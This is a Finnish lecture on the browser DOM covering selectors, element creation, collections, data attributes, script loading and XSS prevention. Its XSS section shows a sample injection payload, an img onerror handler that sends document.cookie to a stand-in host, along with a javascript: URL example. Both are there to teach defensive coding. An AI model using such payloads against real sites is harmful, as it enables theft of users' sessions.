Document Object Model (DOM)
Vanha DOM-luento · vanha luentoesimerkki
DOM on standardi, jonka avulla voidaan manipuloida dynaamisesti XML- tai HTML-dokumenttien dokumenttipuuta.
Paras dokumentaatio löytyy Mozilla Development Networkin DOM-sivustolta. Jos haluat lukea aiheesta kirjan, lue DOM Enlightenment. Ajantasainen standardi on WHATWG:n DOM Standard.
DOM-standardista on useita eri versioita. Laajin rajapinta on selainympäristössä. Samaa, mutta suppeampaa rajapintaa, voi käyttää useimmilla ohjelmointikielillä. Katso luku Mikä toimii vain selaimessa.
Kukin elementti ja teksti muodostavat dokumenttipuuhun Node-tyypin olion. DOM:in tarjoamia ominaisuuksia ja metodeja voi tarkastella Firefoxin Inspectorilla, joka avautuu F12-näppäimellä tai valikosta Tools → Browser Tools → Web Developer Tools.
Käsitteitä
- vanhempi-, äiti- tai isäelementti (engl. parent)
- elementti, jonka sisällä ko. elementti välittömästi on.
- lapsielementti (engl. child)
- välittömästi ko. elementin sisällä oleva elementti
- jälkeläinen (engl. descendant)
- ko. elementin sisällä oleva elementti
- esivanhempi, esiisä (engl. ancestor)
- elementti, jonka jälkeläinen ko. elementti on
- sisarelementti (engl. sibling)
- elementit ovat sisaret, jos niillä on yhteinen vanhempielementti
- edeltävä/seuraava sisarelementti (engl. preceding/following sibling)
- edeltävä elementti on dokumenttipuussa ennen ko. elementtiä, seuraava on sen jälkeen
Käsitteet kaaviona
Seuraava html-koodi tuottaa alla olevan dokumenttipuun:
<html>
<head>
<title>Esimerkki</title>
</head>
<body>
<section>
<h1>Otsikko</h1>
<ul>
<li>Eka</li>
<li><strong>Toka</strong></li>
</ul>
<p>Kappale</p>
</section>
</body>
</html>
Kaaviossa suhteet on värjätty ul-elementin näkökulmasta. Sama elementti on eri elementin näkökulmasta eri asemassa: jokainen suhde on aina suhteessa johonkin.
Kaaviosta näkyy kolme asiaa, jotka menevät usein sekaisin:
- Vanhempi on lähin esivanhempi. ul-elementin vanhempi on section, mutta esivanhempia ovat sen lisäksi body ja html. Vanhempia on aina täsmälleen yksi, esivanhempia yleensä useita.
- Lapsi on aina myös jälkeläinen, mutta ei päinvastoin. ul-elementin lapsia ovat vain kaksi li-elementtiä. Jälkeläisiä ovat niiden lisäksi strong, joka on toisen li-elementin sisällä. Juuri tästä syystä ul.children antaa kaksi elementtiä mutta ul.querySelectorAll("*") kolme.
- Sisaruus vaatii saman vanhemman. h1 ja p ovat ul-elementin sisaria, koska niillä on sama vanhempi section. Kaksi li-elementtiä ovat keskenään sisaruksia, mutta eivät h1-elementin sisaruksia.
Suhteet ovat aina suhteellisia. Jos tarkastelisimme samaa puuta strong-elementin näkökulmasta, ul olisikin esivanhempi ja li vanhempi.
Document
Document-tyyppinen document-objekti vastaa aina yhtä selaimeen ladattua www-sivua (window.document). Dokumentti sisältää varsinaisen DOM-puun. Dokumentti perii ominaisuudet ja metodit Node- ja EventTarget-luokilta.
Riippuen siitä onko kyseessä html-dokumentti vai xml-dokumentti voi dokumentin ja muiden objektien rajapinta olla erilainen. Html-dokumenteilla on laajennettu rajapinta. Tähän vaikuttaa suoraan dokumentin mediatyyppi (text/html vs application/xhtml+xml tai application/xml). Tyypillisimmillään erot ilmenevät dokumentin päätettä vaihdettaessa (.html vs .xhtml).
Dokumentin tärkeimpiä ominaisuuksia ovat:
- document.body dokumentin body-elementti
- document.documentElement dokumentin html-elementti
- document.forms lista dokumentin kaikista lomakkeista (form-elementit)
- document.children dokumentin kaikki lapsielementit
- document.title dokumentin otsikko (title-elementti)
- document.URL dokumentin osoite
Dokumentin tärkeimpiä metodeja ovat:
- document.getElementById() hakee elementin sen id-attribuutin perusteella. Helpoin ja nopein tapa saada käsiinsä tietty elementti.
- document.querySelector() hakee ensimmäisen css-valitsinta vastaavan elementin
- document.querySelectorAll() hakee kaikki css-valitsinta vastaavat elementit
- document.getElementsByClassName() hakee elementtejä niiden class-attribuutin perusteella
- document.getElementsByTagName() hakee elementtejä niiden nimen perusteella
- document.createElement() luo dokumenttiin uusia elementtejä
- document.createTextNode() luo dokumenttiin uusia tekstinodeja
- document.createDocumentFragment() luo irrallisen säiliön, johon voi koota useita elementtejä ennen kuin ne liitetään puuhun kerralla
Node
Node on abstrakti pääluokka, johon perustuvat kaikki muut DOM-puussa esiintyvät objektit, joista tärkeimmät ovat Element ja Document. Myös teksti on oma nodensa: Text.
Noden tarkka kuvaus löytyy MDN:n Node-sivulta. Tässä on lueteltu tärkeimmät ominaisuudet:
- Node.childNodes kaikki lapsinodet
- Node.firstChild ensimmäinen lapsinode
- Node.lastChild viimeinen lapsinode
- Node.nextSibling seuraava sisarnode
- Node.previousSibling edellinen sisarnode
- Node.parentNode äitinode
- Node.nodeName noden nimi
- Node.nodeType noden tyyppi
- Node.nodeValue noden tekstisisältö, jos kyseessä on text-, comment-, attribuutti- tai CDATA-tyyppinen node. Kts. textContent.
- Node.textContent noden ja kaikkien sen lapsinodejen tekstisisältö
Huomaa, että nämä ovat ominaisuuksia eivätkä metodeja — niissä ei ole sulkeita. node.nodeValue on oikein, node.nodeValue() tuottaa virheen.
Esimerkki childNodes-, nodeType-, nodeValue- ja textContent-ominaisuuksista.
Noden tärkeimmät metodit ovat:
- Node.appendChild(node) lisää noden viimeiseksi lapseksi uuden noden
- Node.insertBefore(uusi, viite) lisää noden lapseksi uuden noden annettua referenssinodea ennen
- Node.removeChild(node) poistaa lapsinoden DOM-puusta
- Node.replaceChild(uusi, vanha) korvaa lapsinoden toisella nodella
- Node.cloneNode(syva) tekee nodesta kopion. Ilman parametria kopioidaan vain node itse, ei sen lapsia.
- Node.contains(node) testaa onko parametrina annettu node tämän noden lapsi tai jälkeläinen
- Node.hasChildNodes() onko nodella lapsia vai ei
Element
Element perii kaikki Noden ominaisuudet. Näiden lisäksi Elementin tärkeimpiä ominaisuuksia ovat seuraavat:
- Element.tagName elementin nimi
- Element.id elementin id
- Element.classList elementin luokat käsiteltävässä muodossa, katso Luokat ja tyylit
- Element.className elementin class-attribuutin arvo yhtenä merkkijonona. Käytä mieluummin classList-ominaisuutta.
- Element.children elementin lapsielementit (ei tekstinodeja)
- Element.firstElementChild ja lastElementChild
- Element.nextElementSibling ja previousElementSibling
- Element.clientHeight ja clientWidth elementin korkeus ja leveys
Element-tason ominaisuudet ohittavat tekstinodet, mikä on yleensä juuri se mitä halutaan. Vertaa: childNodes sisältää myös rivinvaihdot ja välilyönnit tekstinodeina, children ei.
Esimerkki Elementin tagName-, id-, clientHeight-, clientWidth- ja nextElementSibling-ominaisuuksista
Elementillä on Nodelta perittyjen metodien lisäksi seuraavia tärkeitä metodeja:
- Element.querySelector() etsii elementin jälkeläisistä ensimmäisen css-valitsinta vastaavan elementin
- Element.querySelectorAll() etsii elementin jälkeläisistä kaikki css-valitsinta vastaavat elementit
- Element.closest() etsii ylöspäin: lähimmän esivanhemman (tai elementin itsensä), joka vastaa css-valitsinta
- Element.matches() testaa, vastaako elementti annettua css-valitsinta
- Element.getElementsByClassName() hakee elementin jälkeläisistä elementtejä joilla on haluttu class
- Element.getElementsByTagName() hakee elementin jälkeläisistä elementtejä joilla on haluttu nimi
- Element.getAttribute() elementin halutun attribuutin arvo
- Element.setAttribute() asettaa halutulle attribuutille arvon
- Element.hasAttribute() testaa onko elementillä määritelty haluttu attribuutti
- Element.removeAttribute() poistaa elementiltä attribuutin
- EventTarget.addEventListener() lisää elementille tapahtumankäsittelijän
- EventTarget.removeEventListener() poistaa elementiltä tapahtumankäsittelijän
closest() on erityisen hyödyllinen tapahtumankäsittelyssä: kun käyttäjä klikkaa nappia, tapahtuman kohteena voi olla napin sisällä oleva kuva tai teksti, ja closest("button") löytää sen napin, jota oikeasti tarkoitettiin.
Elementtien etsiminen css-valitsimilla
querySelector() ja querySelectorAll() ovat nykyään tavallisimmat tavat hakea elementtejä. Niiden parametri on css-valitsin — täsmälleen samaa kieltä kuin tyylitiedostossa. Jos osaat kirjoittaa säännön CSS:ään, osaat hakea saman elementin javascriptillä.
/* tyylitiedostossa */
ul.valikko > li.aktiivinen {
font-weight: bold;
}
// javascriptissä täsmälleen sama valitsin
const alkio = document.querySelector("ul.valikko > li.aktiivinen");
Tavallisimmat valitsimet
| Valitsin | Osuu |
|---|---|
| "#tulos" | elementti, jonka id on tulos |
| ".virhe" | elementit, joilla on luokka virhe |
| "li" | kaikki li-elementit |
| "li.valittu" | li-elementit, joilla on luokka valittu |
| ".a.b" | elementit, joilla on molemmat luokat |
| "section li" | li-elementit, jotka ovat section-elementin jälkeläisiä |
| "ul > li" | li-elementit, jotka ovat ul-elementin välittömiä lapsia |
| "h1 + p" | p, joka on heti h1-elementin jälkeen |
| "h1, h2, h3" | kaikki kolme (pilkku tarkoittaa "tai") |
| "[data-tila]" | elementit, joilla on kyseinen attribuutti |
| "input[type='checkbox']" | attribuutin arvon perusteella |
| "input[type='checkbox']:checked" | valitut valintaruudut |
| "tr:nth-child(2n)" | joka toinen taulukon rivi |
| "li:first-child" | ensimmäinen lapsi |
| "li:not(.piilossa)" | kaikki paitsi ne, joilla on luokka |
Huomaa lainausmerkit: koko valitsin on javascript-merkkijono, ja attribuutin arvon ympärillä olevat lainausmerkit ovat osa valitsinta. Käytä siksi eri lainausmerkkejä sisällä ja ulkona, tai template-merkkijonoa:
document.querySelector('input[type="checkbox"]'); // ulkona heittomerkit
document.querySelector("input[type='checkbox']"); // tai toisin päin
const tila = "valmis";
document.querySelectorAll(`li[data-tila="${tila}"]`); // arvo muuttujasta
Paluuarvot
Metodit eroavat toisistaan siinä, mitä ne palauttavat — ja tämä on yleisin virheen lähde:
- querySelector() palauttaa ensimmäisen osuman tai null, jos yhtään ei löydy.
- querySelectorAll() palauttaa aina NodeList-kokoelman. Jos osumia ei ole, kokoelma on tyhjä — ei null.
const otsikko = document.querySelector("h1");
if (otsikko === null) {
console.error("Otsikkoa ei löytynyt");
return;
}
otsikko.textContent = "Uusi otsikko";
// querySelectorAll ei tarvitse null-tarkistusta:
for (const rivi of document.querySelectorAll("li.puuttuu")) {
// silmukka ei suoritu kertaakaan, eikä se ole virhe
}
console.log(document.querySelectorAll("li.puuttuu").length); // 0
Tarkista aina querySelector-metodin paluuarvo, jos ei ole varmaa että elementti on olemassa. Muuten seuraava rivi kaatuu virheeseen "Cannot read properties of null". Sama koskee getElementById-metodia.
Milloin mikäkin
| Metodi | Palauttaa | Elävä? | Käyttö |
|---|---|---|---|
| getElementById() | elementti tai null | — | kun elementillä on id. Nopein ja selkein. |
| querySelector() | elementti tai null | — | kaikki muut yksittäiset haut |
| querySelectorAll() | NodeList | ei | joukon haku, kun joukkoa muokataan |
| getElementsByTagName() | HTMLCollection | kyllä | kun halutaan elävä näkymä |
| getElementsByClassName() | HTMLCollection | kyllä | kun halutaan elävä näkymä |
document.getElementById("tulos") ja document.querySelector("#tulos") tekevät saman asian. getElementById on hivenen nopeampi, mutta ero näkyy vasta kymmenissä tuhansissa kutsuissa. Valitse se, joka on luettavampi.
Kaksi sudenkuoppaa
1. Valitsin osuu jälkeläisiin, ei vain lapsiin. Kun kutsut metodia elementille, haku kohdistuu koko sen alipuuhun:
section.querySelectorAll("li"); // KAIKKI li-elementit sectionin sisällä,
// olivatpa ne kuinka syvällä tahansa
section.querySelectorAll("> li"); // VIRHE: valitsin ei voi alkaa >-merkillä
section.querySelectorAll(":scope > li"); // vain välittömät lapset
:scope tarkoittaa sitä elementtiä, jolle metodia kutsuttiin. Ilman sitä käytä section.children-ominaisuutta.
2. Valitsin tulkitaan koko dokumenttia vasten. Tämä yllättää useimmat. Kun kirjoitat section.querySelectorAll("div p"), selain etsii ensin kaikki p-elementit, joilla on div-esivanhempi missä tahansa dokumentissa, ja poimii niistä ne, jotka ovat section-elementin sisällä. Osuma voi siis tulla myös silloin, kun div on section-elementin ulkopuolella:
<div>
<section id="osio">
<p>Tämä osuu, vaikka div on sectionin ULKOPUOLELLA</p>
</section>
</div>
const osio = document.getElementById("osio");
osio.querySelectorAll("div p").length; // 1 <-- yllättävää
osio.querySelectorAll(":scope div p").length; // 0 <-- odotettu tulos
Lisätietoa: Element.querySelectorAll() ja CSS-valitsimet MDN:ssä.
closest() ja matches()
Samaa valitsinkieltä käyttävät myös nämä kaksi. querySelector etsii alaspäin, closest ylöspäin:
// lähin esivanhempi (tai elementti itse), joka vastaa valitsinta
const rivi = elementti.closest("li");
// testaa, vastaako elementti valitsinta
if (elementti.matches("input[type='checkbox']")) {
console.log("tämä on valintaruutu");
}
closest() on korvaamaton tapahtumankäsittelyssä. Kun käyttäjä klikkaa nappia, tapahtuman kohteena voi olla napin sisällä oleva kuva tai teksti — ei nappi itse. event.target.closest("button") löytää sen napin, jota oikeasti tarkoitettiin.
Elementtien luominen, lisääminen ja poistaminen
Uusi elementti luodaan document.createElement()-metodilla. Luotu elementti ei näy sivulla ennen kuin se liitetään dokumenttipuuhun.
const rivi = document.createElement("li");
rivi.textContent = "Uusi rivi";
document.getElementById("lista").append(rivi);
Modernit lisäysmetodit
Noden vanhat metodit (appendChild, insertBefore, removeChild, replaceChild) toimivat edelleen ja ne on hyvä tuntea, mutta uudemmat metodit ovat useimmiten selkeämpiä. Erot: uudet ottavat vastaan useita argumentteja kerralla, hyväksyvät myös merkkijonoja (jotka lisätään tekstinä, eivät HTML:nä) eivätkä vaadi viittausta vanhempielementtiin.
- Element.append() lisää viimeiseksi lapseksi
- Element.prepend() lisää ensimmäiseksi lapseksi
- Element.before() ja after() lisäävät elementin viereen sisarukseksi
- Element.replaceWith() korvaa elementin itsensä
- Element.replaceChildren() korvaa kaikki lapset. Ilman argumentteja tyhjentää elementin.
- Element.remove() poistaa elementin itsensä DOM-puusta
- Element.insertAdjacentElement() lisää elementin annettuun kohtaan suhteessa tähän elementtiin
const lista = document.getElementById("lista");
lista.append(rivi1, rivi2, rivi3); // useita kerralla
lista.replaceChildren(); // tyhjentää listan
rivi1.remove(); // ei tarvita vanhempielementtiä
vanha.replaceWith(uusi);
Vanha tapa poistaa elementti vaati kiertotien vanhemman kautta:
vanha.parentNode.removeChild(vanha); // vanha tapa
vanha.remove(); // sama asia lyhyemmin
DocumentFragment
Kun rakennetaan monta elementtiä kerralla, jokainen erillinen lisäys puuhun saa selaimen laskemaan sivun asettelun uudelleen. Kokoa elementit ensin irralliseen DocumentFragment-säiliöön ja liitä se puuhun kerralla:
const fragmentti = document.createDocumentFragment();
for (const nimi of nimet) {
const rivi = document.createElement("li");
rivi.textContent = nimi;
fragmentti.append(rivi); // ei vielä sivulla
}
lista.append(fragmentti); // yksi ainoa muutos puuhun
Fragmentti itse ei päädy puuhun, vaan sen lapset siirtyvät kohteeseen ja fragmentti jää tyhjäksi.
Tekstin ja rakenteen asettaminen
Elementin tekstisisältö asetetaan ja luetaan textContent-ominaisuudella.
otsikko.textContent = "Uusi otsikko";
const teksti = otsikko.textContent;
otsikko.textContent = ""; // tyhjentää elementin sisällön
textContent on turvallinen. Se käsittelee kaiken tekstinä, joten käyttäjän syöttämä <script> päätyy sivulle näkyväksi tekstiksi eikä suoritettavaksi koodiksi.
Seuraavia ei pidä käyttää. Ne tulkitsevat merkkijonon sisällön HTML-rakenteeksi, jolloin käyttäjältä tullut sisältö voi tuoda sivulle koodia. Näillä saa myös helposti rikottua DOM-puun rakenteen:
- element.innerHTML
- element.outerHTML
- element.insertAdjacentHTML()
Ongelma ei ole se, etteivät ne osaisi käsitellä merkkejä <, > ja & — päinvastoin, ne tulkitsevat ne rakenteeksi, ja juuri se on vaarallista. Rakenna rakenne createElement-metodilla ja teksti textContent-ominaisuudella.
Lisäksi innerHTML käyttäytyy eri tavalla XHTML-tilassa: siellä se hyväksyy vain hyvinmuodostuneen fragmentin, eikä document.write ole olemassa lainkaan.
XSS ja innerHTML
Edellisessä luvussa oli ohje: käytä textContent-ominaisuutta äläkä innerHTML-ominaisuutta. Tässä on sen syy, ja se on selainohjelmoijan tärkein turvallisuusaihe — joka kerta kun rakennat DOM-puuta datasta, kyse on tästä.
Cross-site scripting eli XSS tarkoittaa sitä, että hyökkääjän kirjoittama javascript päätyy suoritettavaksi toisen käyttäjän selaimessa osana sinun sivuasi. Silloin se pääsee kaikkeen mihin sivusi pääsee: evästeisiin, localStorageen, istuntoon ja käyttäjän puolesta tehtäviin pyyntöihin.
Mistä se syntyy
Lähde on aina sama: dataa käsitellään merkkauksena.
// VAARALLINEN. Jos nimi on peräisin käyttäjältä, palvelimelta tai
// osoiteriviltä, se voi sisältää mitä tahansa merkkausta.
kohde.innerHTML = `<p>Tervetuloa, ${nimi}!</p>`;
Jos nimi-muuttujan arvo on
<img src="x" onerror="fetch('https://example.invalid/?e=' + document.cookie)" />
niin selain lisää kuvan, kuvan lataaminen epäonnistuu, onerror-käsittelijä suoritetaan ja evästeet lähtevät hyökkääjälle. Huomaa, ettei tämä vaadi script-elementtiä: sellainen ei edes suorittuisi innerHTML-ominaisuuden kautta lisättynä, mutta tapahtuma-attribuutit suorittuvat.
Ratkaisu
Älä koskaan yhdistä dataa merkkaukseen merkkijonona. Luo elementit ja aseta tekstit erikseen — silloin tekstiä käsitellään tekstinä eikä merkkauksena.
// TURVALLINEN. textContent asettaa tekstin tekstinä: merkit < ja >
// näkyvät sellaisinaan eikä niistä tule elementtejä.
const kappale = document.createElement("p");
kappale.textContent = `Tervetuloa, ${nimi}!`;
kohde.replaceChildren(kappale);
| Tapa | Turvallisuus |
|---|---|
| textContent | turvallinen aina |
| createElement + append | turvallinen aina |
| template + cloneNode | turvallinen, kun arvot asetetaan textContent-ominaisuudella |
| setAttribute | turvallinen paitsi osoiteattribuuteissa, kts. alla |
| innerHTML | turvallinen vain jos merkkaus on kokonaan omaa |
| insertAdjacentHTML | sama riski kuin innerHTML |
innerHTML ei siis ole kiellettu. Se on turvallinen silloin kun merkkaus on kirjoitettu itse eikä siinä ole yhtään muuttujaa:
// Turvallinen: ei yhtään käyttäjän dataa
pohja.innerHTML = `
<article class="kortti">
<h3></h3>
<p class="valmistaja"></p>
</article>
`;
Osoitteet ovat oma tapaus
Attribuutin asettaminen on yleensä turvallista, mutta osoiteattribuutit eivät ole. javascript:-alkuinen osoite suorittaa koodia klikattaessa:
// VAARALLINEN jos osoite tulee datasta
linkki.href = auto.kotisivu; // "javascript:alert(document.cookie)"
Tarkista protokolla ennen asettamista:
const turvallinenOsoite = function (teksti) {
try {
const osoite = new URL(teksti);
// vain nämä kaksi protokollaa sallitaan
if (osoite.protocol === "https:" || osoite.protocol === "http:") {
return osoite.href;
}
}
catch (e) {
// URL-konstruktori heittää poikkeuksen kelvottomasta osoitteesta
}
return null;
};
Samaan ryhmään kuuluvat src, action, formaction ja srcdoc.
Muita suojia
Jos on pakko näyttää käyttäjän HTML:ää — esimerkiksi tekstieditorin tuottamaa — se on puhdistettava kirjastolla, joka poistaa vaaralliset osat. Älä kirjoita puhdistinta itse: se on täynnä erikoistapauksia. Vakiintunut valinta on DOMPurify.
Content Security Policy on palvelimen lähettämä otsake, joka rajaa mistä skriptejä saa ladata ja estää tavallisesti myös tapahtuma-attribuuttien suorittamisen. Se on toinen suojakerros — ei korvaa oikeaa koodia, mutta rajaa vahingon jos jokin menee läpi. Kts. CSP.
target="_blank" ja rel="noopener". Uuteen välilehteen avattu sivu pääsi ennen käsiksi avaajaansa window.opener-ominaisuuden kautta. Nykyselaimet katkaisevat yhteyden itsestään, mutta rel="noopener noreferrer" kannattaa kirjoittaa näkyviin — se toimii myös vanhemmissa selaimissa eikä maksa mitään.
Luokat ja tyylit
Elementin ulkoasua ei muuteta asettamalla tyylejä yksitellen javascriptillä, vaan vaihtamalla elementin luokkaa ja määrittelemällä ulkoasu CSS-tiedostossa. Näin ulkoasu pysyy siellä minne se kuuluu.
classList tarjoaa tähän siistin rajapinnan:
elementti.classList.add("virhe");
elementti.classList.remove("virhe");
elementti.classList.toggle("piilossa"); // päälle tai pois
elementti.classList.toggle("valittu", ehto); // ehdon mukaan
elementti.classList.contains("virhe"); // true tai false
elementti.classList.replace("vanha", "uusi");
Vertaa vanhaan tapaan, jossa className on yksi merkkijono ja luokkien lisääminen ja poistaminen vaatii merkkijonojen pyörittelyä. Sitä ei kannata tehdä.
Yksittäisen tyylin voi tarvittaessa asettaa style-ominaisuudella. Huomaa, että CSS:n väliviivalliset nimet kirjoitetaan camelCase-muodossa ja arvot ovat merkkijonoja yksikköineen:
elementti.style.backgroundColor = "red"; // CSS: background-color
elementti.style.marginTop = "1em"; // yksikkö on pakollinen
Käytä tätä vain silloin, kun arvo lasketaan ajon aikana — esimerkiksi palkkidiagrammin korkeus. Kaikki muu kuuluu tyylitiedostoon.
Lasketun, voimassa olevan tyylin saa getComputedStyle()-funktiolla. Huomaa, että element.style kertoo vain elementille suoraan asetetut tyylit, ei tyylitiedostosta tulevia.
Datan liittäminen elementtiin
DOM-elementti on javascript-objekti, mutta se on erikoisobjekti: sen ominaisuudet eivät ole sama asia kuin HTML-elementin attribuutit, vaikka ne usein näyttävät siltä.
const kentta = document.getElementById("nimi");
// 1. HTML-attribuutti: näkyy sivun lähdekoodissa, arvo on AINA merkkijono
kentta.getAttribute("maxlength"); // "20" (merkkijono!)
kentta.setAttribute("maxlength", 30);
// 2. DOM-ominaisuus: elementtiobjektin kenttä, tyypitetty
kentta.maxLength; // 20 (numero)
kentta.maxLength = 30;
Osalla attribuuteista ja ominaisuuksista on eri nimi (class ↔ className, maxlength ↔ maxLength, for ↔ htmlFor), koska class ja for ovat javascriptin varattuja sanoja.
Tärkein ero tulee esiin lomakekentissä. value-attribuutti kertoo kentän alkuarvon, value-ominaisuus sen nykyisen arvon:
// käyttäjä on kirjoittanut kenttään "Oona", HTML:ssä lukee value="oletus"
kentta.value; // "Oona" <-- tätä haluat lähes aina
kentta.getAttribute("value"); // "oletus"
Lomake-elementtien arvot luetaan siis value-ominaisuudesta, ei attribuutista. Sama koskee checked- ja selected-tiloja.
Omat ominaisuudet
Javascriptillä voi liittää DOM-elementtiin minkä tahansa oman ominaisuuden, aivan kuten mihin tahansa objektiin. Tämä on yleensä paras tapa liittää dataa elementtiin: arvo voi olla mitä tahansa — numero, objekti, taulukko tai vaikka koko tietue — eikä sitä tarvitse muuntaa merkkijonoksi edestakaisin.
const rivi = document.createElement("li");
rivi.tuote = { id: 42, nimi: "Kissa", hinta: 19.9 }; // oma ominaisuus
// myöhemmin, esimerkiksi tapahtumankäsittelijässä:
console.log(rivi.tuote.hinta); // 19.9, oikeana numerona
Oma ominaisuus elää vain muistissa eikä näy sivun lähdekoodissa:
rivi.getAttribute("tuote"); // null — attribuuttia ei ole olemassa
Tämä on ominaisuus eikä puute. Data pysyy javascriptin puolella siinä muodossa, jossa sitä käsitellään, eikä sivun lähdekoodi täyty tiedosta, joka ei kuulu sinne.
data-*-attribuutit ja dataset
Jos data on syytä näkyä myös HTML-koodissa, siihen on olemassa data-*-attribuutit ja niitä vastaava dataset-ominaisuus:
<li data-tuote-id="42">Kissa</li>
const rivi = document.querySelector("li");
rivi.dataset.tuoteId; // "42" — huomaa camelCase ja MERKKIJONO
rivi.dataset.tuoteId = "43"; // muuttaa myös HTML-attribuuttia
Älä käytä data-*-attribuutteja ilman oikeaa syytä. Käytä niitä vain silloin, kun datan on tarkoituskin olla näkyvissä html-koodissa. Tällaisia tilanteita on kolme: palvelin tuottaa sivun valmiiksi ja arvo on luettava sieltä, CSS-valitsimen pitää päästä arvoon käsiksi (li[data-tila="valmis"]), tai sivun rakenne kuvaa itseään muille työkaluille.
Muista myös rajoitukset: dataset-arvot ovat aina merkkijonoja, joten numerot on muunnettava Number()-funktiolla ja objektit kulkevat JSON.stringify-muunnoksen kautta. Oma ominaisuus välttää molemmat kiertotiet.
Esimerkki attribuuteista ja ominaisuuksista
NodeList ja HTMLCollection
Monet metodit palauttavat kokoelman nodeja tai elementtejä. NodeList voi sisältää mitä tahansa nodeja, HTMLCollection vain elementtejä.
Elävä vai staattinen
Molemmat voivat olla eläviä, eli ne heijastavat DOM-puuhun tehtyjä muutoksia automaattisesti sen jälkeenkin, kun kokoelma on haettu.
| Mistä saadaan | Tyyppi | Elävä? |
|---|---|---|
| node.childNodes | NodeList | kyllä |
| element.children | HTMLCollection | kyllä |
| getElementsByTagName() | HTMLCollection | kyllä |
| getElementsByClassName() | HTMLCollection | kyllä |
| document.forms | HTMLCollection | kyllä |
| querySelectorAll() | NodeList | ei, staattinen |
Eläväisyys on yleisin syy siihen, että silmukka käyttäytyy odottamattomasti. Seuraava poistaa vain joka toisen alkion, koska kokoelma lyhenee samalla kun sitä käydään läpi:
const rivit = lista.getElementsByTagName("li"); // ELÄVÄ kokoelma
for (let i = 0; i < rivit.length; i++) {
rivit[i].remove(); // VÄÄRIN: rivit.length pienenee joka kierroksella
}
Korjaustapoja on kolme. Käy silmukka läpi lopusta alkuun, ota kokoelmasta tilannekuva Array.from()-funktiolla, tai hae kokoelma querySelectorAll()-metodilla, joka palauttaa staattisen listan:
for (const rivi of Array.from(rivit)) { // tilannekuva ennen muokkausta
rivi.remove();
}
for (const rivi of lista.querySelectorAll("li")) { // staattinen alun perin
rivi.remove();
}
lista.replaceChildren(); // tai yksinkertaisesti näin
Kokoelma ei ole taulukko
Kumpikaan kokoelma ei ole taulukko, vaikka niissä on length ja niitä voi indeksoida hakasulkeilla. Erot kannattaa tietää:
- NodeListilla on forEach, mutta ei map-, filter- eikä reduce-metodia.
- HTMLCollectionilla ei ole edes forEach-metodia.
- Molemmat toimivat for..of-silmukassa.
- Kumpaakaan ei pidä läpikäydä for..in-silmukalla.
Kun tarvitset taulukon metodeja, muunna kokoelma taulukoksi:
const elementit = Array.from(document.querySelectorAll("li"));
const kopio = [...document.querySelectorAll("li")]; // sama levitysoperaattorilla
const tekstit = elementit.map(e => e.textContent);
const nakyvat = elementit.filter(e => !e.classList.contains("piilossa"));
Window
Globaali window-muuttuja vastaa aina yhtä www-dokumentti-ikkunaa tai välilehteä. Window-muuttujan kautta pääsee käsiksi varsinaiseen dokumenttiin (window.document). Window-objektin ominaisuuksiin pääsee normaalisti käsiksi ilman window-objektin nimeä, eli document on sama kuin window.document.
Window-objektin tärkeimpiä ominaisuuksia ovat:
- window.document ikkunassa oleva dokumentti
- window.localStorage sivustokohtainen tallennuspaikka, joka säilyy selaimen sulkemisen yli
- window.sessionStorage sessiokohtainen tallennuspaikka
Huomaa, että storage-rajapinnat tallentavat vain merkkijonoja. Objektit ja taulukot kulkevat JSON.stringify- ja JSON.parse-muunnosten kautta:
localStorage.setItem("asetukset", JSON.stringify(asetukset));
const asetukset = JSON.parse(localStorage.getItem("asetukset") ?? "{}");
Window-objektin tärkeimpiä metodeja ovat:
- window.getComputedStyle() CSS-ominaisuuksien lasketut arvot
- window.requestAnimationFrame() animointimetodi
- window.alert(), confirm() ja prompt() valmiit dialogit
alert, confirm ja prompt sopivat vain nopeaan kokeiluun. Ne pysäyttävät koko sivun suorituksen, niitä ei voi tyylitellä, ja selain voi estää ne kokonaan. Oikeassa käyttöliittymässä käytetään dialog-elementtiä tai sivun omia elementtejä.
Skriptin lataaminen ja lataustapahtumat
Jos script-elementti on head-osassa ilman defer-attribuuttia, skripti ladataan ja suoritetaan heti — ennen kuin sivun body on olemassa. Silloin esimerkiksi
document.getElementById("tulos");
palauttaa null, koska elementtiä ei vielä ole. Tämä on ylivoimaisesti yleisin aloittelijan virhe, ja virheilmoitus ("Cannot set properties of null") ei kerro syytä kovin selvästi.
Ongelmaan on kaksi ratkaisua, ja kumpikin on hyväksyttävä.
1. defer-attribuutti. Skripti ladataan rinnakkain sivun kanssa, mutta suoritetaan vasta kun koko dokumentti on jäsennetty. Tämä on suositeltavin tapa, koska se ei vaadi koodilta mitään. Huomaa XML-muoto:
<script src="malli.js" defer="defer"></script>
2. Lataustapahtuman odottaminen koodissa. Osa kurssin esimerkeistä on kirjoitettu ilman defer-attribuuttia. Niitä ei tarvitse muuttaa — riittää, että käynnistät oman koodisi vasta kun dokumentti on valmis:
"use strict";
function alusta() {
// kaikki DOM-käsittely tänne
document.getElementById("tulos").textContent = "Valmis";
}
// DOMContentLoaded laukeaa, kun HTML on jäsennetty ja DOM-puu on rakennettu.
// Tämä on lähes aina se, mitä haluat.
document.addEventListener("DOMContentLoaded", alusta);
DOMContentLoaded ei odota kuvia, tyylitiedostoja eikä muita ulkoisia resursseja. Jos tarvitset esimerkiksi kuvan lopullisia mittoja, käytä load-tapahtumaa, joka laukeaa vasta kun kaikki on ladattu:
window.addEventListener("load", function () {
// kaikki resurssit (kuvat, tyylit, fontit) ovat nyt valmiina
});
| Tapa | Milloin koodi ajetaan | Käyttö |
|---|---|---|
| script head-osassa ilman defer | heti, ennen DOM:ia | vain jos koodi ei koske DOM:iin |
| defer="defer" | DOM valmis | suositeltu oletus |
| DOMContentLoaded | DOM valmis | kun et voi muuttaa HTML:ää |
| load | kaikki resurssit valmiina | kun tarvitset kuvien mitat tms. |
| type="module" | DOM valmis (defer on oletus) | moduulit |
Näiden yhdistäminen on turvallista: defer-skriptissä oleva DOMContentLoaded-kuuntelija ehtii rekisteröityä ajoissa, joten se laukeaa normaalisti.
CDATA
CDATA-lohkolla merkitään XML-dokumentissa teksti, jota ei tulkita rakenteeksi. Sen sisällä voi käyttää merkkejä &, < ja > vapaasti.
<![CDATA[
Tähän väliin voi kirjoittaa mitä vaan eikä tämä riko sivun rakennetta.
]]>
CDATA on XML-ominaisuus eikä toimi HTML-dokumenteissa. Jos sivu tarjoillaan tyyppinä text/html, HTML-jäsennin tulkitsee <![CDATA[...]]>-lohkon kommentiksi. Sama tiedosto voi siis käyttäytyä eri tavalla .html- ja .xhtml-päätteisenä.
